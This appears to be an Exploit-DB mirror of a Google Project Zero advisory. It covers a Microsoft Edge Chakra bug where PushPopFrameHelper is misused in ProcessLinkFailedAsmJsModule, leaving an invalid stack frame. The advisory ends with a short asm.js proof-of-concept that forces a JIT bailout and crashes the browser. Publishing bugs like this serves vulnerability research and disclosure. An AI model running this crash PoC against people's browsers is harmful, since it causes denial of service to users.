Microsoft Edge Chakra – ‘InterpreterStackFrame::ProcessLinkFailedAsmJsModule’ Incorrect Usage of ‘PushPopFrameHelper’ (Denial of Service)

  • 作者: Google Security Research
    日期: 2017-08-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42470/
  • <!--
    Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1277
    
    PushPopFrameHelper is a class that pushes the current stack frame object in its constructor and pops it in the destructor. So it should be used like "PushPopFrameHelper holder(...)", but InterpreterStackFrame::ProcessLinkFailedAsmJsModule uses it like a function.
    
    Var InterpreterStackFrame::ProcessLinkFailedAsmJsModule()
    {
    ...
    PushPopFrameHelper(newInstance, _ReturnAddress(), _AddressOfReturnAddress());
    ...
    }
    
    It pushes "newInstance" and immediately pop it.
    
    The PoC will crash in the following code.
    void BailOutRecord::ScheduleLoopBodyCodeGen(Js::ScriptFunction * function, Js::ScriptFunction * innerMostInlinee, BailOutRecord const * bailOutRecord, IR::BailOutKind bailOutKind)
    {
    ...
    Js::InterpreterStackFrame * interpreterFrame = executeFunction->GetScriptContext()->GetThreadContext()->GetLeafInterpreterFrame(); <<-- Invalid stack frame object
    loopHeader = executeFunction->GetLoopHeader(interpreterFrame->GetCurrentLoopNum()); <<-- interpreterFrame->GetCurrentLoopNum() == -1
    ...
    }
    
    
    PoC:
    -->
    
    function asmModule() {
    'use asm';
    
    let a = [1, 2, 3, 4];
    for (let i = 0; i < 0x100000; i++) {// JIT
    a[0] = 1;
    if (i === 0x30000) {
    a[0] = {};// the array type changed, bailout!!
    }
    }
    
    function f(v) {
    v = v | 0;
    return v | 0;
    }
    return f;
    }
    
    asmModule(1);